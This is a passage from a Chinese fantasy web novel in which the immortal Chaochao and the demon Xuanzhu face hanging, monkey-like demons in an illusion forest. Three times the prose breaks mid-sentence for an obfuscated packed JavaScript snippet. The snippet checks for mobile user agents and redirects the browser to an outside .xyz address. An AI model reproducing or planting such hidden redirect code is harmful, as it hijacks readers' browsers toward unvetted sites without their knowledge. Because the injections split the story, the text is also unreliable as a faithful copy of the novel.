他的话音刚落,朝朝就重重倒在了地上。 玄烛无动于衷地看着她,唇瓣间吐出阴冷的音节:“不会死又如何,我有万种让你生不如死的方法。” 说完,他转身驭法离开。 朝朝侧躺在地上,脸色煞白,撕心裂肺的疼痛逐渐遍布全身。 真倒霉,她以前听崇明上神说过,冥火乃至阴之火,与她相克,只是她不知道玄烛竟然会操纵冥火。 她在地上躺了许久,才强忍着剧痛勉强从地上爬起。 不能光躺着,一要找到玄烛,二要找出破境之法,哪个都不能耽误。 因为没力气使用法力,她只能踉跄地向前走去。 刚向前走了四五步她又停下来。 身旁的密林传出一阵簌簌的响声,像是有什么东西正在树枝间穿梭,朝朝连忙看向声响的位置,却只瞧见一道黑影快速闪过。 她的心头一跳,能在那么高的树上流利穿行,肯定不是卢风几人,以她的了解,也不可能是玄烛,玄烛杀人都杀得理直气壮,绝不会这般鬼鬼祟祟。 朝朝提起警惕,正要去那个方向看看时,左臂突然一阵刺痛。 她低头看去,发现自己的左臂竟多了伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966619|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袖已被撕得破烂,手臂上有三道深可见骨的伤痕,鲜血不断地流出,看起来像是被什么东西抓伤的。 朝朝惊讶地瞪大双眼,这伤口竟像是凭空出现的,她根本不知道自己是怎么受的伤。 她思忖了一会儿,再抬头时,天与地忽然开始旋转,杂草与树叶扭曲成一个漩涡,而她成了漩涡的中心。 阴恻恻地笑声环绕着她,忽远忽近,虚实难辨。 一根绳圈由远及近,一双墨绿的眼睛透过绳圈凝视着她,而她只是呆呆地看着面前的绳子。 眼睛......绿眼睛...... 下一瞬,绳圈猛地套住她的脖颈,将她整个人向上提起,她瞪大双眼抓挠着颈间的绳子,但越是挣扎,绳圈就套得越紧。 直到她双手垂落,再没了动静。 阴风掠过,将她垂着的脚尖吹得晃动。 许久,卢风大步跑来,目光触及被吊着的朝朝时他一阵呆怔,随后凄声喊道:“小妹——!!” 他脚下的步子都乱了,跑到朝朝身前时被石头一绊,重重摔倒在地。 卢风趴在地上一直没有爬起,半晌才用拳头一下又一下地砸起地面,哭声也越发响亮。 “小妹,是哥不好......我就不该走这条路,哥对不起你......”他又哀又怨地说着,只恨自己为何不能替朝朝去死。 听着下方凄凄惨惨的哭声,朝朝心底生出一些愧疚。 她根本没死,只是因为肚子太疼,不想动弹了而已,而卢风却是真心实意地为她伤心欲绝,若她一声不响地任由卢风难过,未免有些铁石心肠了。 最终她实在不忍看卢风可怜的样子,弱声开口:“哥......我没死,你别哭了。” 听到她的声音,还趴在地上的卢风被吓了一跳,他抬头震惊地看向朝朝。 为了安抚卢风,她努力扯起一个灿烂的笑容,却不知这笑容配着她脖子上的绳子,差点没把卢风吓晕过去。 朝朝用掌心燃起的火焰将吊着自己的绳子烧断。 她落至地面时,卢风下意识地向旁躲了躲。 看着卢风惊恐慌张的神情,朝朝脸上多了一分无奈,不过她没有怪卢风,眼看着一个死透的人活过来,很难让卢风不害怕。 朝朝捂着肚子向卢风迈出一步,卢风则如惊弓之鸟般,从身上倏地拔出用来防身的匕首,哆嗦地指着朝朝:“别过来!” 她停下脚步,不再靠近。 卢风颤声问道:“你到底是人是鬼?” 朝朝轻叹一口气:“我是小妹啊,怎么会是鬼?” 卢风一怔。 他壮着胆子细细打量起朝朝的脸。 这是小妹的面容,说话时的语气和神态也与往日一样,可刚才他明明看到小妹被吊死了...... 卢风把心底的挣扎和恐惧全写在脸上,朝朝也正想着该如何解释,才能让卢风不再害怕自己,身后的密林却突然响起惊恐的尖叫声。 她与卢风同时朝声音的方向看去。 “那是徐大飞的声音。”卢风喃喃说道,然后他手忙脚乱地从地上爬起,朝那声音跑去。 朝朝也想去看看,可刚要迈出脚,就看到玄烛正站在不远处的树梢上。 他幽幽地注视着朝朝,脸上没有任何情绪,让人无法看穿他的喜怒。 朝朝只能在心里胡乱猜想。 玄烛莫不是又在想动手杀谁吧? 朝朝有些愁闷地垂下眼睫,片刻后才咬牙说道:“天魔大人,我知道你喜欢杀戮,但你真的不能再杀人了,此幻境诡谲多变,我怕胡乱行动只会令你陷入更险的境地,所以请天魔大人忍忍,眼下破除幻境离开这里才是最重要的,若你实在手痒可以杀我,反正我不会死......” 听着她的话,玄烛皱紧了眉头。 没听到玄烛应声,朝朝便当他是答应了,她睁开眼指着刚刚卢风跑走的方向说道:“我去看看那边发生了什么,天魔大人若不想同我一起去,便在这里等我。” 她略作停顿,又强调了一遍:“一定要等我!” 说完,她才捂着肚子急匆匆地跑走。 看着她跑走的背影,玄烛的眉头越皱越紧。 敢让上古天魔等她,这杂碎小仙的胆子还真是大...... 4. 不见天日 徐大飞惊恐地蜷缩在一棵树下,而他的正前方吊着密密麻麻的尸体。 有的刚开始腐烂发臭,有的则已大半化为白骨,风吹过,尸体们会互相碰撞,偶尔还会抖落下几根惨白的骨头,就像是树上结出的成熟果实,最终被伸入天际的古树赠予尘土。 卢风跑来时一眼便看到挂在最前面的两具尸体,正是账房先生王友平和伙计陈亮,乔叔则在后面一排的位置。 卢风仔细用眼扫了一遍,没有找到赵成的身影后,他跑到徐大飞身旁焦急地问道:“这是怎么回事?赵成跑哪去了?!” 徐大飞捂着耳朵,语无伦次地开口:“不......和我没有关系......放过我......” 没一会儿朝朝也追过来,她惊讶地看着大片的尸林,然后才看向徐大飞。 徐大飞抬起头,刚好同她撞上视线,下一瞬徐大飞又惨声尖叫起来:“妖怪!她已经被吊死了!她是妖怪!!” 朝朝有些奇怪地看着徐大飞。 她被吊起后只见过卢风和玄烛,并没有在吊死她的附近看见过徐大飞的身影,徐大飞又是如何知道她已经被吊死的? 朝朝走到徐大飞面前蹲下,不顾徐大飞恐惧的神情,神情严肃地问道:“你怎么知道我被吊死了?” 徐大飞惊恐地看着她,没有吐出半个字,只是不停地颤抖。 见他一副被吓破胆的样子,卢风也蹲下身沉声说道:“我看他被吓坏了,听不进去你的问题了。” 朝朝叹了口气,转念一想又看向卢风:“哥,你是如何找到我的?” 卢风看着她,犹豫一瞬才缓缓说道:“和你分开后,我担心你被那妖怪伤了,就回头去找你,结果却迷了路,在林中晃了一个多时辰才......” “一个多时辰?!”朝朝吃惊地打断他。 卢风疑惑地看着她:“怎么了?” 朝朝喃喃道:“不对,从我们分开到你发现我被吊着,也就一盏茶的时间,你怎么可能在林中迷路一个时辰?” “我没有胡说。”卢风有些不悦,“我一直掐算着时辰,就算不足一个时辰,也绝不会只有一盏茶的时间。” 朝朝低头出神地思忖起来。 不对,他们两个之间一定有人算错了时辰,可到底是她的错,还是卢风的错? 突然,一直只颤抖不说话的徐大飞猛地夺过卢风手中握着的匕首,狠狠插入朝朝的心脏。 朝朝没有半点防备,她震惊地看向徐大飞,很快衣衫便被血洇湿了大片。 看着朝朝躺倒在地上,卢风也瞪大双眼,刚想查看朝朝的情况,一旁的徐大飞急忙拉住他,将卢风硬是拉到一旁。 “卢风,你别犯傻了!那不是你妹,是个妖怪,我分明看到她被吊死在树上了,不是妖怪怎么会复活?而且她还认识那个想杀我们的男妖怪,你都不觉得奇怪?搞不好这一路的怪事就是他们弄出来的,我杀她也是想救咱们俩!我们赶紧逃吧!”徐大飞义正词严地说着。 卢风呆呆地看着躺在地上的朝朝。 是,他也看到朝朝被吊死了,普通人怎么可能被吊死又活过来呢? 那已经不是小妹了,是妖怪。 想着,他神情恍惚地点了点头:“对,对,你说得对,她是妖怪......” 见卢风认同,徐大飞急忙拉着他转身跑走。 只有朝朝留在原地。 她侧躺在地上看着那两个人越跑越远,最终没了踪影。 心口疼,肚子也疼,疼得她没力气动弹,更没力气去拔掉还插在心口的匕首。 朝朝闭上双眼暗想,这里不愧是十恶境,处处暗藏杀机。 过了许久,一个墨色的身影轻落在她面前。 朝朝甚至都没睁开眼就知道是玄烛,因为他实在太冷了,旁人绝不会有这样的感觉。 玄烛垂眸幽幽地看着躺在地上的朝朝。 头一次,朝朝没有一见到他就滔滔不绝地说话。 半晌都不见朝朝开口说一个字,玄烛微挑眉梢,终于先开了口。 “你在装死?” 朝朝叹了口气,气若游丝地开口:“不是......我只是疼得没力气动了。” 玄烛撩起衣摆蹲下身,看向朝朝心口插的刀子:“如今你定在后悔,之前不该阻止我杀他们。” 朝朝这才睁开眼睛看向他。 “我没有后悔。”她的嗓音变得有些沙哑,还带着许多疲累,“当时他们并没有害我,卢风对我也是真心的好,我就该护着他们。” 玄烛又皱起眉头,隐隐露出些许厌烦。 朝朝注意到他情绪的变化,不顾自己的疲累强挤出笑脸:“天魔大人现在心情不好吗?那我给你讲个笑话吧,从前有一只小乌龟生病了......” “你还笑得出来?”玄烛打断她的声音。 朝朝一愣,转瞬又笑着说道:“我就是这样的性子,便是天塌地陷,我也能笑着面对,笑总比哭好,笑说明我还能挺住。” 玄烛冷瞥了一眼她,随后站起身,凉凉道:“那你便在这里挺着吧。” 说完,他准备转身离开。 有了前两次的经验,这次未等玄烛抬起脚,朝朝便如猛虎扑食般紧紧抱住他的小腿。 “不行,天魔大人不能丢下我!这次要是丢下我,我真的要哭了!”说话时朝朝把脸也贴在了他的小腿上。 玄烛也像是有了经验,只是淡淡地看向她,不像之前那般震惊,但许久未有动作,似乎是在想什么。 片刻后他重新蹲下身,漆黑的眸子注视着朝朝,说道:“若你现在能哭出来,我便帮你。” 朝朝怔怔地看着他。 虽然玄烛还是没什么表情,可朝朝从他的眼中看出了隐隐的笑意。 他似乎很想把她弄哭。 虽然朝朝从来没哭过,不过哭应该也不难吧?若哭就能把这位哄开心了,还挺划算的。 想着,她立刻垂下唇角,整张脸开始发力,挤着眼睛,皱着鼻子,扯着嗓子大嚎起来:“我哭了我哭了,你看我真的哭了......” 看着她的脸,玄烛又蹙起眉心,半晌他不悦地转开视线,沉声道:“哭得难看又难听,一滴眼泪都挤不出。” 很明显,玄烛对她的哭并不满意。 朝朝刚想再努力努力,玄烛忽然倾身靠近她。 那张脸几乎快触到朝朝的鼻尖,冰冷的气息洒落在她的脸颊上,吓得她下意识屏住呼吸。 哪怕是蹲着,玄烛的身影也能将朝朝完全笼罩住,他弯起唇角,左手拇指触碰朝朝的眼帘,隔着眼帘轻轻抚摸着她的眼珠。 “若把你这双眼挖出来,你会不会哭?” 听着他毫无感情的声音,朝朝止不住地打起哆嗦。 感觉到她颤抖,寻主唇边的笑意也越来越冷:“终于知道怕我了?” 朝朝深吸一口气,弱声回道:“我一直都怕天魔大人啊,可我怕你也需要你,没有天魔大人我可能会永远困在这里。” 玄烛摸着她眼珠的拇指微顿,许久才开口:“你倒是诚实。” 他身体退后,与朝朝拉开距离,半晌又将手伸向朝朝的腹部。 腹中带着寒意的疼痛转瞬便消失了,朝朝瞪大眼睛看向玄烛那只手,原本在她腹中的冥火此刻正在玄烛掌心中跳动。 “多谢天魔......” 未等她激动地说完剩下的话,心口插着的匕首也被玄烛猛地拔出,匕首被拔出时还带出一小股血花,疼得朝朝龇牙咧嘴地一阵大叫。 玄烛是故意弄疼她的吧?对,他一定是故意的! 朝朝揉着心口的位置,委屈地站起身暗暗抱怨着。 玄烛将匕首丢在地上,转身向前走去。 朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966620|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝小跑着追上他,二人走在尸林下方,朝朝仰头去看那些尸体垂着的脚尖,说道:“天魔大人,这林中的邪祟古怪得很,之前我身上莫名出现了伤口,还瞬间被吊到树上,可我已经不记得自己是怎么被吊上去的。” 玄烛走在前面保持沉默,朝朝也不知道他到底听没听,只好自顾自地说下去:“卢风说他找到我前在林中晃了一个多时辰,可我感觉我们分开并没有那么久,难道我被吊着时的记忆也丢了......” 正说着,玄烛忽然停下来,朝朝差点撞到他身上,她歪着脑袋奇怪地问道:“怎么了?” 玄烛双手再次燃起冥火,蓝色的火焰比之前更为猛烈,一下高过一下的窜动着,将头顶的尸体和周遭的古树也蒙上一层泛着寒意的蓝。 他双手持着冥火结印,迸出的火花落地便化作小人,没一会儿地上便站了几百个冥火小人,这些小人还没有朝朝的巴掌大,行为举止也像是稚童,有的新奇地打量起四周,有的则和其他小人吱吱呀呀地吵着架。 玄烛垂着眼眸,淡声开口:“去找林中的邪祟。” 听到他的命令,小人们听话地四散开,有几个从朝朝的脚背上踩过,还仰头对着朝朝挑衅地吐了吐火舌。 朝朝呆愣地看了一会儿,再抬头双眼放亮,满脸崇拜地看着玄烛:“不愧是天魔大人,接下来只要找到邪祟,不管是什么邪术,天魔大人一定都能用冥火除掉它。” 她呢,就负责躺赢。 想着,朝朝捂住偷笑起来,再抬眼发现玄烛正蹙眉看着自己,她连忙收起笑容,对玄烛无辜地眨了眨眼。 玄烛收回视线,再次朝前走去。 朝朝紧跟在他身后,因为身前是强大的天魔,她现在感到格外的安心。 没走几步,林中又起了阴风,头顶的尸体被风吹得摇摇欲坠。 朝朝缓缓停住脚步。 似乎有什么东西正在向他们靠近。 朝朝站了片刻,然后猛地回过头。 转头的瞬间,一片落叶经过耳边,她仿佛听见了什么东西的窃窃私语。 愤怒的、恶毒的、怨恨的...... 天旋地转,周遭的一切化为混沌,真真假假,虚实难辨。 许久,朝朝才回过神。 脑中一阵晕眩,她连忙扶住旁边的古树才站稳,随后她抬手摸了摸自己的颈侧,只是轻碰就一阵刺痛。 和之前一样,她的脖颈上莫名多了三道抓痕,不仅如此,她的右手食指还沾着血,不是她触碰脖颈的伤口时留下的,因为那血迹不是新鲜的,已经干了很久,其他手指倒是很干净。 这又是何时沾上的? 朝朝百思不得其解,本想和玄烛说这件事,可转身才发现玄烛已经不见踪影,仔细一看,她也不在尸林的位置了。 “天魔大人!”她出声喊道,小跑着寻找起玄烛的身影。 最终她停在一棵树前。 树干上有一处烧焦的痕迹,这痕迹朝朝很熟悉,正是她之前为了防止迷路而留下的标记。 可此处为何会有这个标记?见到玄烛后她就再没有动手做过标记,她的记忆中,自己也从来没有在这附近做过标记。 她又跑去查看其他树木,发现不只那一处有标记,周围的树上几乎都有,有的树上还不止一个标记。 就好像她曾在此迷路,那有着四个标记的树,正无声地告诉她,她在此处迷失了多久。 朝朝有些不知所措地后退了几步。 难道她中邪术了?这标记是怎么来的,玄烛去了哪里,刚刚到底发生过什么...... 无论她在脑中如何搜寻,都找不出答案。 朝朝皱眉环顾四周密密层层的树木,心头的不安又涌了上来。 她出神地思忖着时,远处隐隐响起一人的声音。 “猴子......猴子......” 5. 不见天日 一个疯疯癫癫的声音从远处不断靠近,朝朝认出了那声音,是赵成。 她急忙朝声音的方向跑去,很快便看到赵成的身影。 赵成身上多了几处伤口,惊恐地小跑着,偶尔还会躲到树后,神情夸张地环顾四周,嘴里断断续续地念叨着,明显还是神志不清的样子。 朝朝向他跑去,看到朝朝的瞬间赵成似乎想转身逃跑,幸好朝朝眼疾手快,一把抓住他的手腕。 “别怕,我不会害你的。”朝朝轻声说着。 赵成缩着脖子,眼睛一直看着地面,看起来是在逃避她的视线。 朝朝叹了口气,然后开始检查赵成身上的伤口。 赵成身上共有四处伤,皆为抓伤,和之前朝朝身上出现的伤口几乎一样。 朝朝将声音放得更轻了些,生怕吓到赵成:“赵成,你告诉我,你身上的伤是怎么来的?还有,你为什么一直念叨猴子?” 赵成看着地面,眼珠左右转着,似乎在想什么。 就在朝朝以为他不会开口回答时,赵成突然抬眼看向她,压低声音说道:“猴子,是黑猴子做的。” “你是说那些吊死的人,是猴子做的?”朝朝怕自己理解有误,想仔细确认这件事。 赵成没有点头也没有摇头,而是倏地凑近她,右手食指向上指了指,用极小的声音对朝朝说:“不要太大声,它们能听到。” 朝朝心里一惊。 赵成说它们,说明那猴子不止一个,而且它们能听到他们的说话声...... 朝朝一阵毛骨悚然。 赵成口中的猴子恐怕此刻就在这些古树上,躲在茂密的树叶间偷窥着他们。 朝朝紧张地咽了下口水,手上暗暗掐诀,鼓足勇气后她用力将手中的火焰朝古树上方打去。 火焰一沾上树叶便瞬间燃起大火,几道黑影被火烧得蹿出,又落到另一棵树上,继续藏在树叶之间。 那东西动作太快,朝朝还是没能看清它们的模样,于是她又接连放出火焰点燃头顶遮天的树叶。 烧光这些遮人眼的叶子,树上的东西便无所遁形,这事朝朝最拿手了。 朝朝手上忙着,身后又蹿出一个黑影,她下意识转身去保护赵成,将赵成扯到自己身后挡住,可就这一瞬,那东西就抬手狠狠抓在她眼睛上。 右眼上斜着三道极深的伤口,疼得朝朝下意识闭上双眼,倒吸了一口凉气。 朝朝刚想睁开眼还击,身后的赵成突然大喊:“不能睁眼!绝对!!绝对不要......” 他的声音戛然而止,没了下文。 周遭变得静悄悄,只剩风与杂草树叶交缠的沙沙声。 “赵成?”朝朝闭着眼睛,侧耳去听回应。 无人回应她。 绝对不要什么?赵成未说完的话是不是和邪术有关? 她在原地站了许久,不敢睁开眼,只能靠耳朵去分辨周围的情况,可在这陌生的密林中,不睁开眼便寸步难行,她总不能一直站在这里吧? 过了很久朝朝都没有受到攻击,周围也没有了赵成的动静。 最终朝朝心一横,咬牙睁开了眼。 没有邪祟,没有赵成,周遭除了傲然挺立的古树外,什么都没有。 朝朝不敢松懈,依然警惕地观察着四周。 直到一只黑色的手从身后缓缓伸出,猛地抓在她的脸上...... * 从高高的枝头垂下的绳子摇晃着,一只乌鸦展翅飞来,刚好落于系好的绳圈上,扯着难听的嗓音鸣叫了两声,下一瞬绳子燃起蓝色的火焰,连带着那只乌鸦一起化为灰烬。 一根泛着光泽的黑色羽毛飘然落下,玄烛抬起右手,用掌心接住羽毛。 他垂下眼眸,长睫半遮着眸底的阴郁,不过很快他就敛起眼中的情绪转而拧紧眉头,视线却不在羽毛上,而是在羽毛下方的字迹上。 玄烛将那根羽毛挥开,看着掌心中用血写出的三个字。 黑猴子。 这字写得娟秀小巧,但不难看出写字时那人有多么急切慌乱,三个字在玄烛的掌心中挤在一起,黑字的四点水少了一笔,子字的最后一笔还拐了一个奇怪的弯。 玄烛不记得这字是何时何地留下的,但不难猜出是何人所写。 幻境内如此大胆,敢在他掌心中写字的,就只有那个来自九重天的杂碎小仙了。 黑猴子......那小仙的修为虽然不怎么样,但脑子不算笨,不会无缘无故留下这三个字,想来这黑猴子便是林中的邪祟了。 这邪祟到底使用了什么邪术,竟能令他的记忆不完整,比如说刚刚他还站在尸林的下方,转眼他便身在密林中的另一处,身后的杂碎小仙亦不见了踪影,那其间的因果,他已记不清了。 十恶境的可怕之处便是如此,无论是神是魔,或人或妖,落至此处都会受到幻境内的邪术影响,上古天魔亦不例外,稍不小心就会永困于此。 他将那干涸的三个字攥进掌心中,略微思忖后他抬手一挥,霎时阴风四起,风声宛若鬼哭穿过密林。 没一会儿,冥火小人们从四面八方跑回,围在玄烛脚边蹦蹦跳跳。 “找到了吗?”他沉声问道。 脚下的小人们一起摇着头。 玄烛抬眼看了看四周,冥火们说没找到邪祟,这几乎是不可能的,会有这种答案只有一种可能。 这里的邪术连冥火也能影响,冥火已经找到邪祟,只是被它们忘记了。 他正思索着这件事,忽然几个冥火小人跳到他的衣摆上用力摇晃起来,玄烛微转视线看向它们:“做什么?” 触到他眸中的阴戾之色,冥火小人打起哆嗦,不过还是壮着火胆,一边吱吱呀呀地叫着,一边用手脚比划起来。 看完它们比划的,玄烛蹙眉看向地上其余的冥火,这才发觉回来的冥火数量不对,少了十几个。 只要听到风声,冥火定会回来,除非遇到什么事情。 正想着,那些未及时回来的冥火身影出现在远处。 玄烛沉着脸色看去,发现回来的不只有冥火们。 它们正用手齐心合力地举着一个球...... 许久他才看清那是什么。 朝朝的脑袋在冥火小人们的手上费力地转了个圈,看到远处玄烛颀长的身影后,她开心地大叫道:“太好了!天魔大人,我终于找到你了!” 玄烛的脸色肉眼可见的一黑。 小人们跑到玄烛身旁,用力将脑袋往地上一丢,朝朝在地上滚了一圈才停下,她灰头土脸地看向那些小人:“你们就不能温柔点吗?” 小人们没理她,而是看向玄烛,兴奋地指着朝朝的脑袋蹦跳起来。 玄烛的眉头越皱越紧,半晌他合上双眼,声音从齿缝间阴冷地挤出:“这不是邪祟。” 听到他的话,小人们失落地呀了一声。 朝朝这才明白冥火们的意思,有些不满地撇了撇嘴:“原来它们把我当邪祟了,我刚刚还夸它们好心带我找天魔大人来着......” 玄烛已经蹲下身,对着朝朝的脑袋冷声问道:“怎么回事?” 朝朝连忙说道:“天魔大人,我看到邪祟了!” 玄烛:“黑猴子?” 朝朝一愣:“天魔大人也看到了?” 玄烛未做声,只是摊开手,将掌心中的三个字给她看。 看到那三个字,朝朝想起自己被血染红的食指。 “原来我写了这三个字,那么我早就见过那些猴子了?”朝朝喃喃自语道。 半晌她才重新看向玄烛:“说是黑猴子,但它们五官却与人无异,只是都佝偻着身子行动,行为和动作像猴子,全身漆黑,四肢奇长,手脚也巨大,而且它们动作非常快,我的眼睛几乎无法捕捉到它们的身影。” 这东西玄烛也未听说过,不过这不稀奇,十恶境造出的邪祟必定不是六界内的东西,自然世间无人知晓。 玄烛默声思忖着,朝朝看出他在想事情,便闭紧嘴巴不出声打扰,半晌玄烛的视线才重新落在她身上。 她眼睛上的伤口尤为刺眼。 “你......”玄烛只吐出一个字。 虽然只有一个字,但朝朝已经对他要问的心领神会。 玄烛是想问她怎么变成现在这模样了。 这件事并不复杂,可让朝朝来讲就要花上很长的时间。 话说她睁开眼寻找赵成和邪祟的踪迹时,身后突然伸出一只黑手狠狠抓在她脸上,她慌忙挣脱,想要施法反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966621|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击,可眼角的伤口不断流出血,模糊了她的视线,朝朝用力眨了下眼睛,只是一瞬的犹豫,袭击她的东西就不见了踪影。 朝朝甚至都没有时间去擦掉融进眼底的血,那黑影又出现在她身后,她想用火烧,可自己的火很难追上跳来跳去的猴子。 意识到这东西自己对付不了,她就想直接逃跑,去找玄烛帮忙。 可那邪祟已经盯上朝朝,她刚转身,一根绳子倏然从头上方垂下,她猝不及防地就被套住脖子,整个人被高高吊起。 透过自己鲜红的血,她模糊地看到邪祟们的样貌,那些长着人脸的黑猴子纷纷从树上跳下,围在朝朝的周围,像是欢呼般尖叫起来。 一个、两个、三个......朝朝用眼睛数着,到最后她也数不清了,心里暗暗震惊这东西的数量之多。 而那些猴子半天都没等到她断气,慢慢脸上露出不解的表情。 朝朝有些得意地笑了一下。 她抬手烧断绳子,也没有和邪祟纠缠的意思,转身便要飞走,可那些猴子动作快的吓人,地上的身影瞬间消失不见,紧接着一只猴子便拦住朝朝,将她从半空中扑倒在地上。 猴子们压住她的手脚,它们力气大得很,使朝朝动弹不得,还有几只猴子拿着绳子跳到她身旁。 这一次它们将绳子在她脖颈上多绕了几圈,扯着两端,用力一拉。 咔嚓一声,朝朝听到了自己颈骨被勒断的声音。 因为前两次都没有杀死朝朝,这回猴子们没有急着离开或欢呼,而是紧紧围住朝朝的尸体。 幽暗的森林中,以朝朝为中心形成无数个圆,就像是在举行某种诡异的仪式。 朝朝本想装死,等猴子们离开她再去找玄烛,但猴子们以杀人为乐,尤其是对朝朝,勒死她还不够,还要用不知从哪里捡的刀给她开膛破肚。 她心里一惊,自己是不会死,但还是会疼的,可受不了这样的折磨啊!而且,万一这群猴子拿走她胃肝脾肺肾的其中一个怎么办?她怕是要再修行个五百年,才能补齐自己的五脏六腑。 想着,她也装不下去了,腾地坐起身,将周围的猴子吓了一跳。 “不如我们心平气和的谈谈?你们到底想要什么?香蕉?桃子?”朝朝对着猴子们强挤出一个讨好的笑容,与她初见玄烛时几乎一样。 可这帮猴子不如玄烛好对付,起码玄烛会给她一两个字的回应,这些猴子就不行了,她的唾沫星子都快说干了,猴子们却只会阴森地看着她。 猴子们已经确定了一件事,那就是朝朝不会死,这让它们很头疼,最终它们决定不再费力杀朝朝,而是将她五花大绑在一棵树上,留下几只猴子看守她,其他猴子便飞快地离开了。 被绑在树上的朝朝长叹一口气。 她很怕玄烛,那家伙狠戾凶残,阴晴不定,但眼下她却非常地想念玄烛,她真的很希望玄烛能立刻出现在自己身边,除掉这帮臭猴子。 不过她知道自己等不到玄烛,以玄烛的性子,才不会费力来找她,只能她自己想办法了。 负责看守的猴子都藏在树上,树叶遮掩着它们的身影,它们一面注意着朝朝的动静,一面注意着周遭的情况。 朝朝想趁它们移开视线时逃走,又不敢弄出太大动静,那些猴子的动作太快,若她烧断绳子再逃,只怕眨眼间就会被猴子抓住。 片刻后,她施法让自己的脑袋脱离身体,把身体留在了树上,脑袋则悄无声息地飘走。 她在林中找了玄烛很久,中途因为术法不精,脑袋不小心掉在地上,正好砸中一个正在搜寻邪祟的冥火小人。 再然后她就被一群冥火小人送到了玄烛身边。 听完朝朝所讲,玄烛的表情变得有些意味深长起来。 发现玄烛表情的变化,朝朝惊喜地说道:“我第一次看到天魔大人这样的表情!是不是因为我逃脱的办法太过聪明,惊艳到天魔大人了?” 玄烛不言。 不过多余的表情确实是因为她。 玄烛一开始不明白,九重天为何要派这样一个杂碎小仙进入十恶境,不过现在他有些明白了。 这家伙都能让十恶境中的邪祟感到头疼...... 她莫不会是九重天上罪大恶极的堕仙? 6. 不见天日 见玄烛许久未言,朝朝突然双眼如月牙般弯起,笑着说道:“我都不顾自己的安危,也要给天魔大人留下线索,天魔大人看到我留的字时,有没有一点感动?” 玄烛拢起掌心,语气凉薄地说道:“我只觉得字如其人,丑。” 听完这话,朝朝的笑容一垮,心里气得很,但只能忍气吞声,她扁着嘴巴问道:“那天魔大人不记得我是何时写的那三个字吗?” 玄烛没有回答。 虽没得到答案,但朝朝的心还是凉了半截。 这幻境中的邪术连上古天魔都能影响,实在可怕。 如果连天魔都破不了幻境,那他们岂不是要永远被困在此处了。 玄烛刚要起身,朝朝忽然咧嘴哭嚎起来:“我怎么这么惨啊!被崇明上神强行推进来不说,自进来后就不停地受伤流血,现在还只剩下一个脑袋了......我可是仙女啊!以后用这副模样回九重天,定会被其他仙家笑话的,还不如让我死了......” 看她还是光打雷不下雨,没有掉半滴眼泪,玄烛冷声打断她:“你不是不会死吗?” 朝朝一愣,紧接着仰起头嚎得更大声了些:“更惨了!死都死不了,只能被他们笑话!!” 一颗人头在地上鬼哭狼嚎,还耍赖打滚,这画面说不出的......惊悚。 玄烛的眉心越皱越紧,半晌他口中吐出阴冷的声音:“闭嘴,再出声就割了你的舌头。” 朝朝却像是没听见般,继续哭嚎:“我都失身了,也没有其他好失去的了!不过我会一直跟着天魔大人的,哪怕只剩下一个舌头,也会跟着天魔大人的!” 玄烛烦躁地合上双眼,心想失身这两个字不是这样用的吧? 他的手在宽大的衣袖下暗暗攥紧,因为过于用力指骨发出清脆的响声,可穿耳的鬼哭声却没有要停的迹象。 “你想如何?”玄烛咬牙问道。 朝朝的哭声戛然而止,转瞬换上灿烂的笑容:“天魔大人帮我把身体抢回来吧。” 玄烛沉眸注视着朝朝,眉心的褶皱迟迟没有舒展开。 虽未落泪,但她眼上的伤口渗出的鲜血已将双目染红,最终在眼尾处化作一滴血珠落下。 见玄烛面无表情地看着自己,朝朝那颗还在远处的心暗暗打起鼓来。 玄烛不会气急了,准备动手折磨她的脑袋吧...... 这念头还未落下,朝朝倏然感觉一阵天旋地转。 等眼前不再摇晃,她才发现玄烛已经提着她的头颅飞起。 她开心地看着玄烛:“是要带我去抢身体吗?天魔大人,你真好!” “闭嘴。”玄烛冷冷回道。 虽然在这密林中极易迷失,但想找到朝朝的身体却很简单,她能感觉到身体的位置,一路上她不停给玄烛指方向,很快他们便看到了朝朝的身体。 身体依然被绑在树上,一动不动,和她的头颅离开前没有半点变化,不过树下却多了两个人。 卢风和徐大飞二人目光呆滞地站在树下,脖颈上套着粗绳子,看起来马上就要被猴子们吊起来了。 玄烛随手将朝朝的脑袋丢开,然后转头阴冷地看向上方茂密的树冠。 冥火从玄烛掌心飞出,周围的树在眨眼间化作灰烬,躲在树上的几只猴子发出惨叫,亦无一幸免。 朝朝忍不住暗叹玄烛好强,她使尽招数,连猴子的毛都没伤到,玄烛不过是云淡风轻地抬抬手,就灭了好几只,他还特意留住绑着朝朝身体的那棵树,没让她的身体被冥火烧到。 